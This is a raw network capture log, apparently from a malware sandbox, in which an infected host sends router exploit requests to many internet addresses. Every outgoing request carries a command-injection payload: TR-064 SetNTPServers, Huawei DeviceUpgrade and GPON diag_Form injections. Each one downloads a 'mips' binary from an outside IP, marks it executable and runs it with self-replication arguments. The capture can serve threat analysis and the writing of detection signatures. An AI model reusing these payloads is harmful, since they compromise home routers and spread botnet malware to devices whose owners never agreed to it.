Apr 15, 2024 08:52:37.056154966 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.13	47734	176.197.62.75	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:37.107065916 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:38.312772989 CEST	69	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.13	39192	163.123.13.61	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:37.179064035 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.13	42636	148.101.85.20	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:37.189008951 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:38.432459116 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.13	59258	191.19.45.199	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:37.390111923 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.13	37516	174.87.177.239	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:37.564197063 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.13	40366	213.243.46.192	37215

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:37.701100111 CEST	805	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 448 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 20 2d 6c 20 2f 74 6d 70 2f 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 68 75 61 77 65 69 2e 73 65 6c 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 213.232.235.166 -l /tmp/a -r /mips; /bin/busybox chmod 777 /tmp/a; /tmp/a huawei.selrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.13	37522	174.87.177.239	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:37.747332096 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.13	38522	99.248.156.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:37.803184986 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.13	33808	181.231.173.27	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:37.852144957 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.13	38528	99.248.156.166	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:38.031627893 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.13	33814	181.231.173.27	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:38.140274048 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.13	44428	201.42.174.180	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.491022110 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.13	43790	192.3.199.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.631234884 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:39.833430052 CEST	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.3 Date: Mon, 15 Apr 2024 06:52:39 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.13	33082	3.224.134.240	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.644517899 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:39.859906912 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:52:39 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.13	51180	23.205.159.241	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.644577026 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:52:39.860012054 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Mon, 15 Apr 2024 06:52:39 GMT Date: Mon, 15 Apr 2024 06:52:39 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 65 31 65 64 66 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 35 39 26 23 34 36 3b 62 66 63 36 30 30 64 38 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 65 31 65 64 66 31 37 26 23 34 36 3b 31 37 31 33 31 36 33 39 35 39 26 23 34 36 3b 62 66 63 36 30 30 64 38 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.ae1edf17.1713163959.bfc600d8<P>https://errors.edgesuite.net/9.ae1edf17.1713163959.bfc600d8</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.13	53866	47.203.35.24	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.715114117 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.13	37496	71.222.190.222	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.734683037 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.13	60640	133.114.90.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.757170916 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:40.023991108 CEST	76	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.13	44440	201.42.174.180	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.826499939 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.13	54896	97.107.137.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:39.843502045 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
